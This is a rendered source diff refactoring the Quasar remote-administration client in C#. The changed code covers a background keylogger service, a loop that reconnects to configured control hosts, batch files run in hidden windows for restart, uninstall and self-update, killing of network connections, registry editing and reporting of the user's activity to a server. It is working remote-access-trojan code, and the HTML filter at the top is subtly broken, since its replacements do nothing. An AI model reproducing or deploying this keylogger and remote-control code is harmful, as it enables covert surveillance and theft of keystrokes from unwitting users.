public static string Filter(string input)
|
||||
{
|
||||
return input.Replace("<", "<").Replace(">", ">").Replace("\"", """).Replace("'", "'");
|
||||
}
|
||||
|
||||
public static string GetDisplayName(Keys key, bool altGr = false)
|
||||
{
|
||||
string name = key.ToString();
|
||||
if (name.Contains("ControlKey"))
|
||||
return "Control";
|
||||
else if (name.Contains("Menu"))
|
||||
return "Alt";
|
||||
else if (name.Contains("Win"))
|
||||
return "Win";
|
||||
else if (name.Contains("Shift"))
|
||||
return "Shift";
|
||||
return name;
|
||||
}
|
||||
|
||||
public static string GetActiveWindowTitle()
|
||||
{
|
||||
string title = NativeMethodsHelper.GetForegroundWindowTitle();
|
||||
|
||||
return (!string.IsNullOrEmpty(title)) ? title : null;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -4,23 +4,43 @@
|
|||
|
||||
namespace Quasar.Client.Logging
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides a service to run the keylogger.
|
||||
/// </summary>
|
||||
public class KeyloggerService : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// The thread containing the executed keylogger and message loop.
|
||||
/// </summary>
|
||||
private readonly Thread _msgLoopThread;
|
||||
|
||||
/// <summary>
|
||||
/// The message loop which is needed to receive key events.
|
||||
/// </summary>
|
||||
private ApplicationContext _msgLoop;
|
||||
|
||||
/// <summary>
|
||||
/// Provides keylogging functionality.
|
||||
/// </summary>
|
||||
private Keylogger _keylogger;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of <see cref="KeyloggerService"/>.
|
||||
/// </summary>
|
||||
public KeyloggerService()
|
||||
{
|
||||
_msgLoopThread = new Thread(() =>
|
||||
{
|
||||
_msgLoop = new ApplicationContext();
|
||||
_keylogger = new Keylogger(15000);
|
||||
_keylogger.StartLogging();
|
||||
_keylogger.Start();
|
||||
Application.Run(_msgLoop);
|
||||
});
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the keylogger and message loop.
|
||||
/// </summary>
|
||||
public void Start()
|
||||
{
|
||||
_msgLoopThread.Start();
|
||||
|
|
|
@ -74,11 +74,12 @@ private void Execute(ISender client, DoCloseConnection message)
|
|||
message.RemotePort == table[i].RemotePort)
|
||||
{
|
||||
// it will close the connection only if client run as admin
|
||||
//table[i].state = (byte)ConnectionStates.Delete_TCB;
|
||||
table[i].state = 12; // 12 for Delete_TCB state
|
||||
table[i].state = (byte) ConnectionState.Delete_TCB;
|
||||
var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i]));
|
||||
Marshal.StructureToPtr(table[i], ptr, false);
|
||||
NativeMethods.SetTcpEntry(ptr);
|
||||
Execute(client, new GetConnections());
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -88,11 +89,12 @@ private NativeMethods.MibTcprowOwnerPid[] GetTable()
|
|||
NativeMethods.MibTcprowOwnerPid[] tTable;
|
||||
var afInet = 2;
|
||||
var buffSize = 0;
|
||||
var ret = NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
|
||||
// retrieve correct pTcpTable size
|
||||
NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
|
||||
var buffTable = Marshal.AllocHGlobal(buffSize);
|
||||
try
|
||||
{
|
||||
ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
|
||||
var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
|
||||
if (ret != 0)
|
||||
return null;
|
||||
var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid));
|
||||
|
|
|
@ -14,16 +14,38 @@
|
|||
|
||||
namespace Quasar.Client.Networking
|
||||
{
|
||||
public class QuasarClient : Client
|
||||
public class QuasarClient : Client, IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// When Exiting is true, stop all running threads and exit.
|
||||
/// Used to keep track if the client has been identified by the server.
|
||||
/// </summary>
|
||||
private bool _identified;
|
||||
|
||||
/// <summary>
|
||||
/// The hosts manager which contains the available hosts to connect to.
|
||||
/// </summary>
|
||||
public bool Exiting { get; private set; }
|
||||
public bool Identified { get; private set; }
|
||||
private readonly HostsManager _hosts;
|
||||
|
||||
/// <summary>
|
||||
/// Random number generator to slightly randomize the reconnection delay.
|
||||
/// </summary>
|
||||
private readonly SafeRandom _random;
|
||||
|
||||
/// <summary>
|
||||
/// Create a <see cref="_token"/> and signals cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationTokenSource _tokenSource;
|
||||
|
||||
/// <summary>
|
||||
/// The token to check for cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationToken _token;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="QuasarClient"/> class.
|
||||
/// </summary>
|
||||
/// <param name="hostsManager">The hosts manager which contains the available hosts to connect to.</param>
|
||||
/// <param name="serverCertificate">The server certificate.</param>
|
||||
public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
|
||||
: base(serverCertificate)
|
||||
{
|
||||
|
@ -32,12 +54,17 @@ public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificat
|
|||
base.ClientState += OnClientState;
|
||||
base.ClientRead += OnClientRead;
|
||||
base.ClientFail += OnClientFail;
|
||||
this._tokenSource = new CancellationTokenSource();
|
||||
this._token = _tokenSource.Token;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Connection loop used to reconnect and keep the connection open.
|
||||
/// </summary>
|
||||
public void ConnectLoop()
|
||||
{
|
||||
// TODO: do not re-use object
|
||||
while (!Exiting) // Main Connect Loop
|
||||
while (!_token.IsCancellationRequested)
|
||||
{
|
||||
if (!Connected)
|
||||
{
|
||||
|
@ -48,10 +75,10 @@ public void ConnectLoop()
|
|||
|
||||
while (Connected) // hold client open
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
_token.WaitHandle.WaitOne(1000);
|
||||
}
|
||||
|
||||
if (Exiting)
|
||||
if (_token.IsCancellationRequested)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
|
@ -63,12 +90,12 @@ public void ConnectLoop()
|
|||
|
||||
private void OnClientRead(Client client, IMessage message, int messageLength)
|
||||
{
|
||||
if (!Identified)
|
||||
if (!_identified)
|
||||
{
|
||||
if (message.GetType() == typeof(ClientIdentificationResult))
|
||||
{
|
||||
var reply = (ClientIdentificationResult) message;
|
||||
Identified = reply.Result;
|
||||
_identified = reply.Result;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
@ -84,7 +111,7 @@ private void OnClientFail(Client client, Exception ex)
|
|||
|
||||
private void OnClientState(Client client, bool connected)
|
||||
{
|
||||
Identified = false; // always reset identification
|
||||
_identified = false; // always reset identification
|
||||
|
||||
if (connected)
|
||||
{
|
||||
|
@ -111,10 +138,31 @@ private void OnClientState(Client client, bool connected)
|
|||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops the connection loop and disconnects the connection.
|
||||
/// </summary>
|
||||
public void Exit()
|
||||
{
|
||||
Exiting = true;
|
||||
_tokenSource.Cancel();
|
||||
Disconnect();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this activity detection service.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_tokenSource.Cancel();
|
||||
_tokenSource.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -30,6 +30,7 @@
|
|||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Security" />
|
||||
<Reference Include="System.ServiceModel" />
|
||||
<Reference Include="System.Web" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
|
|
|
@ -29,7 +29,7 @@ public class QuasarApplication : IDisposable
|
|||
/// <summary>
|
||||
/// The client used for the connection to the server.
|
||||
/// </summary>
|
||||
public QuasarClient ConnectClient;
|
||||
private QuasarClient _connectClient;
|
||||
|
||||
/// <summary>
|
||||
/// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
|
||||
|
@ -110,13 +110,13 @@ public void Run()
|
|||
}
|
||||
|
||||
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
|
||||
ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
|
||||
InitializeMessageProcessors(ConnectClient);
|
||||
_connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
|
||||
InitializeMessageProcessors(_connectClient);
|
||||
|
||||
_userActivityDetection = new ActivityDetection(ConnectClient);
|
||||
_userActivityDetection = new ActivityDetection(_connectClient);
|
||||
_userActivityDetection.Start();
|
||||
|
||||
ConnectClient.ConnectLoop();
|
||||
_connectClient.ConnectLoop();
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -130,8 +130,9 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv
|
|||
if (e.IsTerminating)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
try
|
||||
{
|
||||
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
|
||||
if (string.IsNullOrEmpty(batchFile)) return;
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
|
@ -140,9 +141,17 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv
|
|||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
catch (Exception exception)
|
||||
{
|
||||
Debug.WriteLine(exception);
|
||||
}
|
||||
finally
|
||||
{
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds all message processors to <see cref="_messageProcessors"/> and registers them in the <see cref="MessageHandler"/>.
|
||||
|
@ -204,6 +213,7 @@ protected virtual void Dispose(bool disposing)
|
|||
_keyloggerService?.Dispose();
|
||||
_userActivityDetection?.Dispose();
|
||||
ApplicationMutex.Dispose();
|
||||
_connectClient.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,28 +1,19 @@
|
|||
using System;
|
||||
using Microsoft.Win32;
|
||||
using Microsoft.Win32;
|
||||
using Quasar.Client.Extensions;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Common.Models;
|
||||
using System;
|
||||
|
||||
namespace Quasar.Client.Registry
|
||||
{
|
||||
public class RegistryEditor
|
||||
{
|
||||
|
||||
#region CONSTANTS
|
||||
|
||||
#region RegistryKey
|
||||
|
||||
private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry";
|
||||
|
||||
#endregion
|
||||
|
||||
#region RegistryValue
|
||||
|
||||
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
|
||||
|
@ -31,17 +22,12 @@ public class RegistryEditor
|
|||
|
||||
private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry";
|
||||
|
||||
#endregion
|
||||
|
||||
#endregion
|
||||
|
||||
#region RegistryKey
|
||||
/// <summary>
|
||||
/// Attempts to create the desired sub key to the specified parent.
|
||||
/// </summary>
|
||||
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
|
||||
/// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if action succeeded.</returns>
|
||||
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
|
||||
{
|
||||
|
@ -96,7 +82,7 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str
|
|||
/// </summary>
|
||||
/// <param name="name">The name of the sub-key to delete.</param>
|
||||
/// <param name="parentPath">The path to the parent for which to delete the sub-key on.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg)
|
||||
{
|
||||
|
@ -145,7 +131,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string
|
|||
/// <param name="oldName">The name of the key to rename.</param>
|
||||
/// <param name="newName">The name to use for renaming.</param>
|
||||
/// <param name="parentPath">The path of the parent for which to rename the key.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg)
|
||||
{
|
||||
|
@ -189,17 +175,13 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare
|
|||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region RegistryValue
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to create the desired value for the specified parent.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The path to the key for which to create the registry value on.</param>
|
||||
/// <param name="kind">The type of the registry value to create.</param>
|
||||
/// <param name="name">output parameter that holds the name of the registry value that was create.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
|
||||
{
|
||||
|
@ -252,7 +234,7 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o
|
|||
/// </summary>
|
||||
/// <param name="keyPath">The path to the key for which to delete the registry value on.</param>
|
||||
/// /// <param name="name">The name of the registry value to delete.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg)
|
||||
{
|
||||
|
@ -301,7 +283,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e
|
|||
/// <param name="oldName">The name of the registry value to rename.</param>
|
||||
/// <param name="newName">The name to use for renaming.</param>
|
||||
/// <param name="keyPath">The path of the key for which to rename the registry value.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg)
|
||||
{
|
||||
|
@ -352,7 +334,7 @@ public static bool RenameRegistryValue(string oldName, string newName, string ke
|
|||
/// RegValueData object.</param>
|
||||
/// <param name="keyPath">The path to the key for which to change the
|
||||
/// value of the registry value on.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg)
|
||||
{
|
||||
|
@ -395,8 +377,6 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s
|
|||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
public static RegistryKey GetWritableRegistryKey(string keyPath)
|
||||
{
|
||||
RegistryKey key = RegistrySeeker.GetRootKey(keyPath);
|
||||
|
|
|
@ -1,42 +1,24 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using Microsoft.Win32;
|
||||
using Quasar.Client.Extensions;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Common.Models;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Quasar.Client.Registry
|
||||
{
|
||||
public class RegistrySeeker
|
||||
{
|
||||
|
||||
#region Fields
|
||||
|
||||
/// <summary>
|
||||
/// The lock used to ensure thread safety.
|
||||
/// </summary>
|
||||
private readonly object locker = new object();
|
||||
|
||||
/// <summary>
|
||||
/// The list containing the matches found during the search.
|
||||
/// </summary>
|
||||
private List<RegSeekerMatch> matches;
|
||||
private readonly List<RegSeekerMatch> _matches;
|
||||
|
||||
public RegSeekerMatch[] Matches
|
||||
{
|
||||
get
|
||||
{
|
||||
if (matches != null)
|
||||
return matches.ToArray();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
public RegSeekerMatch[] Matches => _matches?.ToArray();
|
||||
|
||||
public RegistrySeeker()
|
||||
{
|
||||
matches = new List<RegSeekerMatch>();
|
||||
_matches = new List<RegSeekerMatch>();
|
||||
}
|
||||
|
||||
public void BeginSeeking(string rootKeyName)
|
||||
|
@ -112,14 +94,13 @@ private void ProcessKey(RegistryKey key, string keyName)
|
|||
{
|
||||
AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void AddMatch(string key, RegValueData[] values, int subkeycount)
|
||||
{
|
||||
RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0};
|
||||
|
||||
matches.Add(match);
|
||||
_matches.Add(match);
|
||||
}
|
||||
|
||||
public static RegistryKey GetRootKey(string subkeyFullPath)
|
||||
|
|
|
@ -1,6 +1,5 @@
|
|||
using Quasar.Client.Config;
|
||||
using Quasar.Client.IO;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
|
@ -18,9 +17,6 @@ public void Uninstall()
|
|||
|
||||
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);
|
||||
|
||||
if (string.IsNullOrEmpty(batchFile))
|
||||
throw new Exception("Could not create uninstall-batch file.");
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
|
|
|
@ -20,9 +20,6 @@ public void Update(string newFilePath)
|
|||
|
||||
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
|
||||
|
||||
if (string.IsNullOrEmpty(batchFile))
|
||||
throw new Exception("Could not create update batch file.");
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
|
|
|
@ -7,16 +7,35 @@
|
|||
|
||||
namespace Quasar.Client.User
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides user activity detection and sends <see cref="SetUserStatus"/> messages on change.
|
||||
/// </summary>
|
||||
public class ActivityDetection : IDisposable
|
||||
{
|
||||
public UserStatus LastUserStatus { get; private set; }
|
||||
/// <summary>
|
||||
/// Stores the last user status to detect changes.
|
||||
/// </summary>
|
||||
private UserStatus _lastUserStatus;
|
||||
|
||||
/// <summary>
|
||||
/// The client to use for communication with the server.
|
||||
/// </summary>
|
||||
private readonly QuasarClient _client;
|
||||
|
||||
/// <summary>
|
||||
/// Create a <see cref="_token"/> and signals cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationTokenSource _tokenSource;
|
||||
|
||||
/// <summary>
|
||||
/// The token to check for cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationToken _token;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of <see cref="ActivityDetection"/> using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The name of the mutex.</param>
|
||||
public ActivityDetection(QuasarClient client)
|
||||
{
|
||||
_client = client;
|
||||
|
@ -29,44 +48,47 @@ private void OnClientStateChange(Networking.Client s, bool connected)
|
|||
{
|
||||
// reset user status
|
||||
if (connected)
|
||||
LastUserStatus = UserStatus.Active;
|
||||
_lastUserStatus = UserStatus.Active;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the user activity detection.
|
||||
/// </summary>
|
||||
public void Start()
|
||||
{
|
||||
new Thread(UserIdleThread).Start();
|
||||
new Thread(UserActivityThread).Start();
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
/// <summary>
|
||||
/// Checks for user activity changes sends <see cref="SetUserStatus"/> to the <see cref="_client"/> on change.
|
||||
/// </summary>
|
||||
private void UserActivityThread()
|
||||
{
|
||||
_client.ClientState -= OnClientStateChange;
|
||||
_tokenSource.Cancel();
|
||||
_tokenSource.Dispose();
|
||||
}
|
||||
|
||||
private void UserIdleThread()
|
||||
{
|
||||
while (!_token.WaitHandle.WaitOne(1000))
|
||||
while (!_token.WaitHandle.WaitOne(10))
|
||||
{
|
||||
if (IsUserIdle())
|
||||
{
|
||||
if (LastUserStatus != UserStatus.Idle)
|
||||
if (_lastUserStatus != UserStatus.Idle)
|
||||
{
|
||||
LastUserStatus = UserStatus.Idle;
|
||||
_client.Send(new SetUserStatus {Message = LastUserStatus});
|
||||
_lastUserStatus = UserStatus.Idle;
|
||||
_client.Send(new SetUserStatus {Message = _lastUserStatus});
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (LastUserStatus != UserStatus.Active)
|
||||
if (_lastUserStatus != UserStatus.Active)
|
||||
{
|
||||
LastUserStatus = UserStatus.Active;
|
||||
_client.Send(new SetUserStatus {Message = LastUserStatus});
|
||||
_lastUserStatus = UserStatus.Active;
|
||||
_client.Send(new SetUserStatus {Message = _lastUserStatus});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether the user is idle if the last user input was more than 10 minutes ago.
|
||||
/// </summary>
|
||||
/// <returns><c>True</c> if the user is idle, else <c>false</c>.</returns>
|
||||
private bool IsUserIdle()
|
||||
{
|
||||
var ticks = Environment.TickCount;
|
||||
|
@ -77,5 +99,24 @@ private bool IsUserIdle()
|
|||
|
||||
return (idleTime > 600); // idle for 10 minutes
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this activity detection service.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_client.ClientState -= OnClientStateChange;
|
||||
_tokenSource.Cancel();
|
||||
_tokenSource.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue